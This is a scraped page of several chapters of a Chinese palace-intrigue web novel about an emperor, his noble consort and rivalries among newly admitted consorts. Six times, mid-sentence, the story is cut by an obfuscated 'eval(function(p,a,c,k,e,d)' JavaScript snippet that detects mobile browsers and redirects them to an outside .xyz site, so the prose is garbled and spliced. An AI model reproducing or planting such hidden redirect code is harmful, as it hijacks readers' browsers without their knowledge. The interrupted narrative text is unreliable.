“太后也真是心急了,朕都还没给新秀们定下位份,她非逼着贵妃提前做这些事情做什么?” 蕙心的话音刚落,本来还带着笑脸的萧祈安,脸色瞬间就不好看起来。 “你们娘娘也是的,这才刚生完孩子两个月都不到,怎么连膳都不记得用?朕看她就是胡闹!” 萧祈安皱了皱眉头,在龙椅上顿了好一会儿,最终还是转头对着张全和吩咐道,“罢了,摆驾承乾宫吧!” 一炷香后。 “娘娘,圣上往咱们这儿来了。” 早在蕙心和奶娘带着六皇子去了紫宸殿不久,夏韶宁就让含秋在宫门口守着,只要看见萧祈安往这边来了,就回来禀报她。 本来夏韶宁是不想让蕙心同萧祈安说那么多的,可是她只要一想到太后那日对着她一副趾高气昂的样子,她就从心里觉得烦。 明明就是太后不满萧祈安迟迟不愿给新秀定下位份,她知道萧祈安不耐烦见她,就把主意打到自己的身上了。 要不说这两人是两母子呢?一样的心思比头发还多。 既然这样,那夏韶宁干脆就把这些事情丢还给萧祈安。怎么?你娶小老婆,你自己什么都不管。反倒是要让我这个早进门的小老婆在这受你和你老娘的夹板气,凭什么啊? 说话间,萧祈安就来到了承乾宫的宫门口。只是很意外的,他并没有如从前一般瞧见夏韶宁在门口等着他。 宫门口只有李顺和含秋两人在候着。 “给陛下请安。”眼见着圣上已经来到了宫门口,两人便急忙跪下给萧祈安请安。 “你们娘娘呢?”萧祈安环顾四周好几遍,都没见着夏韶宁的身影。 “回陛下的话,娘娘还在殿内忙着呢,晚膳都还没得空用。”含秋虽然低着头,说起话来倒是口齿清楚得很。 听得含秋说到夏韶宁居然真的没用晚膳,萧祈安气冲冲地抬脚就往同心殿去了。 一进了外殿,萧祈安果然瞧见夏韶宁还伏在书桌上看东西呢,只见她一边看一边还时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434154|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不时地揉一揉眼睛,萧祈安远远看着都能看出她似乎十分疲惫。 “多要紧的大事值得你膳都不用在这忙,身子还要不要了?”萧祈安快步走到夏韶宁面前,一把就将她面前的册子抢了过来,“现在不许看了,用膳!” “陛下来了?”夏韶宁有些“茫然”地抬起头来,映入眼帘的就是萧祈安那张生气的脸,她的脸上瞬间就露出了委屈的神情。 “太后娘娘要臣妾这几日就将新秀入宫后的事情操持好,臣妾头一次弄这些事情动作又慢,这不得加班加点的才能把事情做完吗?” 说到这里,她便红着眼睛抬着头看了一眼萧祈安,“陛下又不管,太后娘娘又骂臣妾,臣妾心中也很委屈啊!” 萧祈安看着眼前这个眼睛红红的丫头,本来来承乾宫之前还一肚子的气,瞧见她这副委屈的样子,瞬间心疼的不行。 “是朕不好,叫你受委屈了。”萧祈安伸出手来替夏韶宁擦了擦眼角的泪,顺手就将她揽进了怀里。 “以后太后再召你去永寿宫说话,你就让你身边的宫女来通知朕。”萧祈安轻轻摸了摸夏韶宁的后背,说话的语气也不知不觉软了下来,“至于这些事情,朕来做就好。不管多忙,膳还是要用的,知道吗?” “嗯。”听得萧祈安的这番话,夏韶宁也不再说其他的了,只是囫囵着点了点头。 “摆膳吧。”眼见着小丫头窝在他的怀里也不哭了,萧祈安便转头对着站在一旁的宫人们吩咐了一声。 不一会儿,一桌色香味俱全的膳食就摆了上来。 夏韶宁今晚为了在萧祈安面前演这场戏,生生忍着真的没用晚膳。这会儿见着这么多好吃的摆了上来,她便立刻开始吃了起来。 萧祈安就那样看着夏韶宁坐在他身边吃着东西,自己倒是时不时的还要给她夹一筷子菜,最后还是无奈地笑了。 虽然他潜意识里不想承认,但是却也不得不承认,夏韶宁这个女人,真的很会拿捏他的心。 第213章 就这么定下了 等到夏韶宁用完膳以后,萧祈安便将殿内伺候的宫人都赶了出去,搂着她就在暖座上坐下了。 “朕不是不管这些事儿,实在是最近朝中的事情太忙了,一下子没顾得上。” 萧祈安顺手从暖座的桌边拿过了纸和笔,随即便一笔一画地在纸上写起字来。 “这是朕这几天想好给新秀的位份和封号,宁儿看看。” 夏韶宁从萧祈安的怀里钻了出来,便拿起纸看了起来。 其实萧祈安给新秀们定下的位份与自己设想的也差不多,只是当她看到燕筝和傅鸣玉这两人一入宫的初始位份就是四妃中的淑妃与德妃,萧祈安甚至还给两人赐了封号,她的脸色还是有些不太自然。 果然是重臣之女啊,这一开始的起点怕是普通宫妃这辈子都达不到的了。 萧祈安瞧见夏韶宁一直盯着纸上燕筝和傅鸣玉的位份看了许久也不说话,忍不住咳了几声,才让夏韶宁回过神来。 “虽然都是四妃,但是你是贵妃,是四妃之首,无论如何她们都不会超过你的。” “陛下多虑了,臣妾没有异议。”听得萧祈安的解释,夏韶宁只是笑着对他摇了摇头,“臣妾只是觉得陛下给这两位的封号很好。” “燕姑娘一看就是个端庄大气的,这个‘仪’字就很适合她。至于傅姑娘的这个‘纯’字……那一次在长乐公主与哥哥的婚宴上见过一次,的确是个至纯至性之人。” “她们两个都是世家教出来的女儿,想来不会有那么多花花心思。朕相信宁儿定能与她们好好相处的。” 也不知为什么,萧祈安总觉得在夏韶宁的面前说起其他女人来,有些不自在。 于是他只得摸了摸鼻子,朝着夏韶宁解释了一句。 “是。”夏韶宁点了点头,便没再继续说话了。 一时之间,殿内忽然就安静了下来。 “那既然宁儿没有意见,这位份就这么定下吧。待新秀进宫,你便按照她们的位份给她们分配住处吧。” 也不知道安静了多久,萧祈安终于出声打破了沉默。 “哦对了,还有一件事情朕差点忘了。”萧祈安刚准备将桌上的纸交给夏韶宁收好,忽然又想到了之前答应过她的一件事。 “之前你说苏修媛和谢充媛协理六宫有功,正好趁着这次给她们两人提一提位份吧。” 说着,萧祈安便用动笔在刚才那张纸上填上了苏修媛和谢充媛的名字。 “苏修媛封修仪,谢充媛封充仪。宁儿觉得如何?” “甚好,难为陛下还记得。”听到萧祈安主动提起了这件事情,这会儿的夏韶宁脸色才变得好看了一些。 顿了一会儿,她便又朝着萧祈安开口了。 “贤妃的脾气陛下是知道的,自入宫这一年多来谢充媛带着二公主住在华清宫里没少受她的磋磨。” “既然如今谢充媛升了位份,臣妾想着要不给她换个地方住吧?苏修媛同她一起协理六宫,不如就让她们住到一块儿,平日里处理工作也方便。陛下觉得好不好?” “这贤妃的脾气也是随着年纪一年不如一年了。”听得夏韶宁的话,萧祈安只是摇了摇头,随即道,“换个住处而已,不是什么大事,你看着办就成。” *** 时间过得很快,半个月一晃就过去了,很快就到了十月初一,新秀入宫的日子。 新入宫的六名宫妃统一跪在体元殿外,由礼部的女官念出封妃的圣旨,举行仪式。 正一品丞相燕川之女燕筝,封淑妃,封号“仪”,居咸福宫主殿宝庆殿; 正二品车骑将军傅赟之女傅鸣玉,封德妃,封号“纯”,居未央宫主殿无忧殿; 正四品黄门侍郎范连溪之女范锦,封充媛,居钟粹宫侧殿紫藤阁; 从六品秘书郎孟珂之女孟南汐,封美人,居华清宫侧殿露华阁; 正七品四门博士何严之女何清影,封才人,居未央宫侧殿扶桑阁; 青州知事林绍之女林意浓,封宝林,居华清宫侧殿落梅居; 另有苏修媛苏桐瑶晋封为修仪,谢充媛谢妩晋封为充仪,谢充仪迁宫至咸福宫侧殿如意苑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440248|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>…… 因为宫中没有皇后,所以新秀入宫安顿好之后的第二天,便要去承乾宫向主理六宫事务的昭贵妃请安。 这日的夏韶宁起了个大早,穿戴得比一年多前刚刚入宫她受封贵妃时还要隆重。 都已经到了这个时候了,她早就已经接受了宫里又来了这么多或家世高或貌美的女人。 她也明白她如今唯一要做的,就是坐好坐稳她这个一人之下万人之上的贵妃的位置。 只要萧祈安不立皇后,她始终都是后宫里除了太后以外最尊贵的女人。 “给昭贵妃娘娘请安,昭贵妃万安。”一番心理建设后,夏韶宁便见着六名女子按照位份从殿外走了进来。 “都起来吧。”今日的夏韶宁一改往日对人和善的面容,这会儿倒是显得十分的严厉。 “说起来,本宫也不是皇后,你们入宫本来是无需来向本宫请安的。”夏韶宁端起手边的茶水喝了一口,说话的语气倒是淡淡的。 “只是如今这后宫里没有皇后,圣上又将这主理六宫的权利给了本宫,所以倒是要麻烦各位每逢初一十五来本宫的承乾宫坐一坐了。” “贵妃娘娘说的哪里话,世人皆知四妃以贵妃为尊,臣妾们来向贵妃娘娘请安,那是理所应当的事情。” 夏韶宁的话音刚落,便见着坐在下首离她最近的仪淑妃微笑着开口了。 “淑妃妹妹年纪不大,这一张小嘴可挺会说呢!这才进宫,就巴结上贵妃娘娘了?” 还没等夏韶宁继续同仪淑妃寒暄,便听得耳边传来了唐贤妃那阴阳怪气的声音,夏韶宁忍不住就皱起了眉头。 其实想一想唐贤妃不爽是一定的,她怎么说也是从潜邸就跟着萧祈安的老人了,且她还生下了大皇子这个萧祈安的长子。 本来上头有夏韶宁这个贵妃就让她很烦了,如今来了两个年岁子嗣都不如她的,一入宫就是四妃中的淑妃和德妃,位份还都在她之上。 而且最重要的是,圣上居然还给了她们封号,你让她怎么能咽得下这口气呢? 第214章 仪淑妃的软刀子 “咦,贵妃娘娘,是臣妾新入宫还没弄懂这宫中的规矩呢,还是说贤妃妹妹一不小心口误说错了?贵淑德贤,这四妃的位份按照顺序排下来,贤怎么也是在淑之后吧?贤妃妹妹怎么能喊臣妾妹妹呢?” 听得唐贤妃这番阴阳怪气的话,仪淑妃压根就没打算接她的茬,而是直接笑着对着夏韶宁揶揄了一句。 其实仪淑妃这话也没说错,这后宫里的姐姐妹妹从来就不是按照年纪来称呼的。位份越高,哪怕你年龄最小,下面的宫妃还是得恭恭敬敬地喊你一句姐姐。 除非高位的宫妃自己不介意,比如夏韶宁之前为了同苏修仪和谢充仪拉近关系,主动称呼她们为姐姐,那就另当别论了。 仪淑妃一番话说得云淡风轻,看似根本没往心里去。可是坐在她后头的唐贤妃听完这番话,却瞬间气得满脸通红。 “你一个刚进宫的新人,且年纪子嗣都不如本宫,哪来的道理在本宫面前称姐姐?就算你喊得出口,你也不怕哪天用膳的时候咬了舌头?小小年纪派头倒是不小,谁给你的脸?!” 唐贤妃恶狠狠地看了仪淑妃一眼,满脸都写着愤怒和不服气。 “哟,本宫说的话句句都在理上,无一句逾矩的话,贤妃妹妹怎么好端端地就对着本宫口出恶言了?” 仪淑妃又一次无视了唐贤妃,直接站起身来就对着夏韶宁行了一礼。 “臣妾入宫之前,礼仪嬷嬷曾让臣妾熟读背诵了大容后宫的宫规,其中有一条写明了:低位宫妃不敬高位宫妃,应当受罚。” “臣妾不过说了几句实话就被贤妃如此咒骂,这贤妃实在是有些不成体统。既然如今是贵妃娘娘管理六宫之事,那就请贵妃娘娘行使您的权利,处罚贤妃吧!” 夏韶宁坐在上首本是准备看热闹的,她心里甚至想着这后宫里终于来了个能治唐贤妃的女人了。哪知道这仪淑妃表面上看着温温柔柔的,几句话就把她自己和唐贤妃的矛盾转移到她夏韶宁的身上了。 不愧是丞相家出来的女儿,手段和心计实在不是如今宫里那群从潜邸出来的老人们能比得上的。 “好了,都是自家姐妹,一人少说一句吧。” 夏韶宁先是对着仪淑妃摆了摆手,示意她先坐下,随即又恨铁不成钢地看了一眼唐贤妃,最终只是无奈地摇了摇头。 “贤妃有错,但是也不是什么大错,仪淑妃口口声声处罚,有些过了。” 夏韶宁哪里看不出来这仪淑妃不过想拿自己做筏子,来挑拨自己和贤妃那本就岌岌可危的关系。虽然她一直以来都十分厌恶唐贤妃,但是这并不代表她会心甘情愿被一个新来的妃子当枪使。 果然,听得夏韶宁这番话,刚刚还有些趾高气扬的仪淑妃,气势倒是弱了下来。 “臣妾失言。”顿了一会儿,仪淑妃便小声说了一句。 “贤妃口不择言,冲撞高位宫妃,违反了大容宫规。但是念在你是初犯的份上,本宫今日就罚你抄写大容宫规三遍,再罚三个月的月俸,你可有异议?” “臣妾……没有异议。” 听得夏韶宁这番决定,唐贤妃打心底里是不服气的。她倒是想要反驳,可是又想到自己本就已经不受萧祈安的喜欢了,若是再惹出点麻烦来,大皇子的前途还要不要了?所以她到底还是硬生生地忍了下来。 “仪淑妃呢?你可还有什么想说的?” 瞧着唐贤妃回应了,夏韶宁转头又来询问仪淑妃。 “贵妃娘娘处事公正,臣妾没有什么想说的了。” 这会儿的仪淑妃虽然还是笑着说出这番话的,但是她脸上的神色和刚刚比起来明显不太自然了。 “好了,既然没什么事儿,就先散了吧,三日后就能侍寝了,各位也都预备着吧。” 眼见着面前的众人们也没什么话想说了,夏韶宁便直接叫散了。 …… “娘娘,各宫娘娘主子都离开了。也就是刚刚离开的时候贤妃娘娘非抢着要走在最前头,不小心撞了纯德妃娘娘一下,德 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“没呢,奴婢瞧着德妃娘娘自从入了外殿给您请安开始面上一直都是淡淡的神色,包括刚刚贤妃娘娘和淑妃娘娘争吵,她好像也一点都不在意的样子,也不知道在想些什么。” 蕙心仔细回想了一下刚才请安时德妃的表现,只觉得这位纯德妃娘娘是不是安静得有些不正常了。 “罢了,兵来将挡水来土掩吧。随她们怎么闹,只要不闹到我面前,不伤害到我的孩子,我倒是乐得坐在一旁看个热闹。” 此时的夏韶宁看着眼前已经快三个月的六皇子,面上的神色也就温柔了起来。 “不过还是同李顺说一句,在那几个不安分的人的宫里都安排几个人。小事别管,若是闹出大事,还是得及时向我禀报一声,省得到时候太后又要找我麻烦。” “是,奴婢明白。” 第215章 不按套路 新秀进宫三天,便可以准备侍寝了。 后宫里所有的人都在关注萧祈安会第一个召谁侍寝。 有的人猜测是仪淑妃,因为此次进宫的女子中,仪淑妃的母家的官职是最高的,而仪淑妃本人更是端庄到让人挑不出一丝毛病来。 还有的人猜测是纯德妃,毕竟从前的圣上还是显庆朝六皇子的时候,有传闻他曾在傅府跟着傅赟将军学过一段时间的骑射。或许圣上念着这番曾经的师徒之情,也会愿意给纯德妃一个面子。 而就在众人猜测纷纷的时候,萧祈安居然在第三天的傍晚,没有任何预兆地抬脚就去了昭贵妃的承乾宫。 这让后宫里等着看热闹的女人都惊呆了,当然也包括此时坐在萧祈安面前的夏韶宁。 “陛下怎么来了?”夏韶宁抬眼看了一眼正在悠闲喝茶的萧祈安,面上全是不解,“若是臣妾没记错,今日不是新秀侍寝的日子吗?陛下难道不去看新入宫的姐妹们吗?” “朕在紫宸殿待得心烦,越是心烦就越是哪里都不想去,走着走着就走到你这儿来了。” 萧祈安喝了一口手边的茶水,又从一旁的果盘里捡了个橘子自顾自地剥了皮,还不忘塞了一个到夏韶宁的嘴里,“这橘子还挺甜,你尝尝。” 夏韶宁看着眼前这个吃完了橘子又准备剥板栗的萧祈安,从上到下将他打量了三遍,也没看出他到底哪里心烦了。 许是被夏韶宁这有些“炙热”的目光盯得不好意思了,萧祈安这才缓缓开口了。 “朕不喜欢被所有人盯着猜测要召哪个妃子侍寝的感觉,这会让朕觉得自己像个……像个被人盯着配种的种马一样……” 萧祈安的话一出口,正在喝茶的夏韶宁忍不住一口茶水就喷了出来。 “陛下,虽然有句话叫做话糙理不糙,但是您这句话,也太糙了吧?” “今日本就是新秀侍寝的日子,您若是待在臣妾这儿哪儿都不去,先不论那些新入宫的姐妹们要在背后如何编排臣妾了,您信不信明日太后娘娘就又要把臣妾叫去永寿宫说话了?” 夏韶宁只要一想到太后那张严肃的脸和她那张虽然喋喋不休但是却永远说不到重点的嘴,就觉得头疼得厉害。 “朕不去,反正朕今日就在这儿了,哪儿都不去。就算要召人侍寝,那也要过几天,朕就是不爱按别人的想法去做事。” 萧祈安这人,平日里没事的时候看上去的确是个很好说话的人。但是他的倔脾气一上来,那就是谁说话都没用的。 他永远都有他自己的想法。 “再说……朕去别的女人那儿,宁儿不生气吗?” 说到这儿,萧祈安转过头来看了看夏韶宁的脸,脸上带了些戏谑。 “陛下,您如今是大容的皇帝了,可不是从前的六皇子或贤王了。” 萧祈安这话刚说完,夏韶宁不禁就想到几年前他因为这件事和自己闹了好大的脾气,现在想起还是觉得很好笑。 “从前在潜邸的时候,您可以宠着臣妾,因为无人会一直盯着您后院的那些事情看,也无人会盯着臣妾看。可是如今入了宫,宫妃们背后都是一个个世家,您若是再叫人家独守空闺,那就是不妥。” “而且臣妾也不想成为这后宫的众矢之的了,这无论是对臣妾还是对昀儿,都不是好事。” 夏韶宁这话之所以能说得如此冷静,一方面她的确不愿意后宫那群女人总把目光放在她和她的孩子身上,这让她觉得很不自在也没有安全感。 而另一方面最重要的原因是——她不爱萧祈安,她不是恋爱脑,所以她不在乎这个男人去睡哪个女人。 都到了这个时候了,什么情情爱爱,只要不妨碍到她的地位、她手中的权利以及她孩子的未来,她都可以很宽容。 “朕的宁儿长大了。”听得夏韶宁说出这番话,萧祈安的面上再也没有几年前听到夏韶宁说这些话时的那般愤怒了。 他何尝不知道,当了帝王以后,很多事情就身不由己了。就算是装样子,那他也必须装到后宫平衡,雨露均沾。不然就如夏韶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445360|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁说的,这对她和昀儿来说,都不是一件好事。 “反正朕今晚就在这陪着你,后头的事情后头再说。”说到这儿,萧祈安一把就将夏韶宁揽进了怀里。 “不管怎么样,你要明白。你和昀儿在朕的心中都是最重要最无可替代的。” 于是这一晚,两个各怀心思的人安安静静地在承乾宫睡下了。 一夜好梦。 接下来的两天,萧祈安仍旧没有宠幸任何一个新入宫的宫妃,他甚至连后宫都没有进,接连两晚都是独自一人宿在紫宸殿的。 就在后宫众人,特别是新入宫的宫妃们都有些泄气的时候,第七天,萧祈安忽然毫无征兆地翻了华清宫露华阁孟美人的牌子。 对,就是那个在殿选时被太后点名“容貌过盛”的孟美人孟南汐。 华清宫,露华阁。 “孟主子您预备着吧,圣上今日翻了您的牌子,晚些时候会有人来接您。” 这会儿来传话的是张全和的大徒弟小袁子,他整个人也和他的名字一样圆乎乎的,那张脸一笑起来眼睛都看不见了。 “真的……真的吗?”听得小袁子的传话,孟美人开心地紧紧拉住了自己贴身宫女花影的手,语气里是藏不住的激动。 “是啊,圣上看重您,这可是新入宫的娘娘主子们里的头一份呢!” 小袁子站在原地,说起话来那叫一个恭维。 这位美人容貌这般绝色,又是第一个被圣上翻牌子的,想来这未来可是不可限量啊! “多谢公公了,花影,快!”听得小袁子的话,孟美人立马对着花影使了个眼色,花影会意,急忙偷偷塞了一个荷包到小袁子的衣袖里。 “孟主子既然如此客气,那奴才再同您多说几句。” 小袁子偷偷掂了掂衣袖里那个荷包,发现重量不轻,于是又笑着朝着孟美人开口了。 “咱们圣上喜欢落落大方,不扭捏的女子,所以您今夜侍寝的时候别害怕,大大方方的就好。您长得如此绝色,圣上一定会喜欢您的!” 第216章 饿死胆小的,撑死胆大的 小袁子离开以后,孟美人坐在屋子里还是惊喜的半天都没回过神来。 “花影,你说圣上第一个翻了我的牌子,是不是代表……他喜欢我?” 孟美人拉着花影的手,激动得都有些语无伦次了。 “呵,圣上不过随手翻个牌子就翻着你了,你还扯出什么喜不喜欢,你一个美人,配说这些吗?” 花影还没来得及回答孟美人的话,冷不防地就瞧见唐侧妃带着贴身宫女大喇喇地就朝着孟美人走了过来。 “给贤妃娘娘请安。”眼见着唐贤妃离自己越来越近,孟美人立刻跪下身来对着她行礼。 只是唐贤妃却并没有立刻叫她起来。 “本宫前段时间让你抄写的宫规,你都抄完了?” 唐贤妃自顾自地坐到了上首,漫不经心地问道。 “娘娘……那宫规明明是贵妃娘娘命您抄的,您怎么……” 孟美人跪在地上,听得唐贤妃的问话,下意识地就要反驳。谁知道她话还没说完,“哐当”一声,一个茶盏瞬间就碎在了她的脚边,她的裙子和鞋子瞬间就被那茶水给浸湿了。 “你前几日见着本宫不行礼不问安,你就说你是不是以下犯上?本宫身为四妃之一的贤妃,罚你区区一个美人抄写宫规是罚不得了吗?怎么,你们眼里难不成只有昭贵妃,没有其他人吗?” 唐贤妃端起茶盏摔在了孟美人的脚边,摔完了仿佛还觉得不解气,忍不住站起身来指着孟美人就劈头盖脸地骂了起来! “贤妃娘娘息怒,臣妾不敢……臣妾不敢……” 孟美人本就是个如鼠般的胆子,被唐贤妃这么一吓,脸色瞬间就苍白起来,这会儿只知道不住地对着唐贤妃磕头认错。 “知错就好,趁着如今还有些时间,好好给本宫把宫规抄完。若是过几日本宫派人来检查你还没抄完,本宫让你吃不了兜着走!” 留下这句恶狠狠的话,唐贤妃便起身带着贴身宫女离开了。 “主子,贤妃娘娘走了,您快起来吧!” 眼见着唐贤妃已经离开了,花影急忙上前去准备将孟美人从地上扶起来。谁知道孟美人却只是一直跪坐在地上不肯起身,再抬起头来的时候,已经是满脸的泪水了。 “花影,我不敢去侍寝了!我好怕!我真的好怕!这宫里真的太可怕了,你说……唐贤妃她会不会要了我的命……” “主子,您说什么呢?这后宫里的女人们盼都盼不来侍寝,如今圣上翻了您的牌子,您怎么能说不去呢?” 听得孟美人这番惊世骇俗的话,花影急忙上前将她的嘴捂了起来。 而大概是因为主仆二人太过紧张,丝毫没有发现在露华阁的侧面,有一个人影正快速地离开了…… 紫宸殿。 这会儿的萧祈安已经沐浴完毕,正闲闲地靠在床上看书。 “吱呀”一声门响之后,萧祈安便瞧见一个身形单薄的女子独自一人光着脚从外殿一步步朝着他走了过来。 “怎么,侍寝前嬷嬷没教规矩吗?怎么光着脚就进来了?” 萧祈安揉了揉眉心,随即合上了书抬头看了看那女子,却见那女子既不抬头也不说话,只是一个劲地朝着他缓缓走了过来。 直到她走到自己的床前,萧祈安这才压低声音对着她道,“朕会**不成?抬起头来!” 他的声音虽然不大,但是却透露出一丝难得的威严。那女子显然被吓了一跳,倒是也听话地将头抬了起来。 只是她这一抬头,萧祈安瞬间就将眉头皱了起来。 “你好大的胆子!朕今日明明翻的是孟美人的牌子,你怎么会在这儿?!” 萧祈安之所以会生这么大的气,是因为如今站在他面前的女子并不是他今日翻了牌子的孟美人,而是与孟美人同住华清宫的林宝林! 眼见着圣上生气了,林宝林便肉眼可见的慌了起来,大脑还来不及思考,她便立刻“扑通”一声就朝着萧祈安跪了下来! “回陛下的话,臣妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445361|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是故意的……臣妾……臣妾也是被逼着来的啊!” “此话怎讲?朕翻了谁的牌子谁就来紫宸殿侍寝,这难道不是约定俗成的事情?怎么,你的意思是还有人逼着你来侍寝不成?” 听得林宝林这番话,萧祈安只觉得有些不解。 “不是的,陛下您听臣妾说!”林宝林对着萧祈安磕了个头,又忙道,“本来嬷嬷们是准备将孟美人带来紫宸殿侍寝的。所有的准备都做好了,可是不知怎么的,临出门的时候孟美人好端端的怎么都不肯去了。” “她不想来侍寝,又怕陛下怪罪她,这才偷偷找到臣妾想让臣妾代替她来蒙混过关。臣妾一开始也不愿,可是孟美人在臣妾面前哭得可怜,臣妾一心软,这就答应了……” 说实话,林宝林其实长得也不错,最重要的是她如今刚刚十六岁,正是一个女子最年轻的好时候。 她这会子只穿了一件薄薄的纱衣,正跪在地下哭得梨花带雨的,倒是莫名有一种我见犹怜的味道。 相比于这个年代的其他男人,萧祈安这个人其实已经算得上是比较能体谅女子的那种男子了。 除非是有女人真的触及到他的底线,不然他其实很少会对自己的女人说重话或者刻意表现出对她们的厌烦。 其实退一步想,反正都是自己的女人了,谁先侍寝后侍寝好像也没那么大的关系。 “行了别哭了,你先起来吧。”看着林宝林哭得可怜,萧祈安最终还是摆了摆手示意她起身。 “既然来了,朕也不会叫你就这样回去,如此传出去也不好听。”萧祈安顿了顿,随即对着林宝林道,“侍寝的规矩嬷嬷都教了吗?” 听得萧祈安的问话,林宝林有些害羞,这会儿的脸更是红得仿佛能滴出血来。 她也不说话,只是咬着嘴唇点了点头。 “那就安置吧。”看着林宝林点头,萧祈安面上也没什么其他的表情,随即便将床幔放下,一切便尽在不言中了。 第217章 静观其变 第二日,圣上本来召了孟美人侍寝最后却宠幸了林宝林这件事,不消半天就传得满宫皆知了。 “娘娘,林宝林侍寝回宫以后,圣上派张公公送了不少赏赐去她的落梅居,这是不是代表圣上对林宝林很满意?” 惜春从外殿进来回话的时候,夏韶宁正趴在床上教六皇子抬头。 “昀儿真棒!”夏韶宁手中拿着六皇子最喜欢的一只布老虎,引导着他抬头。见他真的能抬起头来坚持好长一会儿了,夏韶宁便开心地对着他夸奖了起来。 “圣上对待自己的女人向来大方,不管他满不满意,首次侍寝过后赏些东西也是应该的。” 夏韶宁从床上坐了起来,对着奶娘摆了摆手,奶娘便将六皇子抱了下去。 “昨日圣上明明翻的是孟美人的牌子,怎么最后却是林宝林去紫宸殿侍寝?这里头是不是有什么猫腻?华清宫的人……怎么说的?”夏韶宁压低声音询问站在一旁的惜春。 “华清宫的人也说不出什么所以然来,只知道小袁子去孟美人那儿传了话以后,贤妃娘娘后脚就去孟美人那儿待了一会儿。没过一个时辰,孟美人好像就病了。后头的事情,她们也不知道了。” 听得夏韶宁的问话,惜春便将今早刚刚打听到的事情都说了出来。 “对了,还有件事儿差点忘了。今日林宝林得了赏赐过后,圣上转头就下旨将孟美人降为才人了。” “这就有意思了。”这时的夏韶宁脸上忽然就露出了一丝意味深长的笑容。 直到这个时候,她才真的觉得这一批入宫的女子的确有些意思。 “让华清宫的人继续盯着,不管孟才人还是林宝林有什么举动,及时来告诉我。” …… 就在夏韶宁好奇华清宫到底发生了什么事情的时候,这会儿的孟才人,正躲在露华阁里哭得上气不接下气。 “呜呜呜……我怎么这么没有用,不过就是被贤妃吓了一下,怎么好端端就发起热来!好不容易盼来的侍寝就这么便宜了别人,我好恨啊!” “主子,您别哭了,一会儿被贤妃娘娘听到,又要罚您了。” 眼见着孟才人越哭越大声,花影着急地左看右看,就准备去关门。 但是很不巧,就在她马上就要把门关上的时候,一双手忽然就伸了进来。 “给孟才人请安。”那双手伸到门口,将花影准备合起来的门硬生生打开了。孟才人一抬头,这才瞧见林宝林正站在门口满脸得意地看着她,口中的“才人”二字说得也特别的清楚。 “你来做什么?!”看清来人,孟才人气得“腾”的一下就从椅子上站了起来。 “昨日紫宸殿明明派了人来接我,我让你去同来人说一句我病了要告假,为何忽然就变成你去紫宸殿侍寝了?” 孟才人拿起帕子擦了擦眼泪,恨恨地盯着林宝林。 “哟,孟姐姐可不能空口白牙地冤枉我啊,你什么时候让我去同来人说你病了?我怎么不知道?青萝,你听到了吗?” 听得孟才人指责自己的话,林宝林极度夸张地转过身来左顾右盼了很久,又对着她的贴身宫女青萝问了一句,最后忽然就笑了起来。 “真不知道你这种人怎么会被选进宫里当宫妃的,心理素质这么差,胆子这么小。就是贤妃娘娘昨日不吓唬你,我估计你也伺候不好圣上。” 回想起昨日的侍寝,林宝林还是觉得回味无穷。 “胆小的人注定会被人吃定,我用自己的方法争取到了侍寝的机会,就算你告到贵妃娘娘那儿去,我也不怕你!” 看着孟才人一直死死地盯着自己,明明比她还小一岁的林宝林却丝毫不慌张。 留下这句话以后,她便大摇大摆地转身离开了。 “主子!她们……她们真的欺人太甚了!” 看着林宝林离开的背影,身为宫女的花影都气得不行。 “欺负人又怎么样呢?林宝林说得对,都是我自己没有用,连好不容易得来的侍寝机会都弄丢了。平白无故惹了圣上厌烦还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 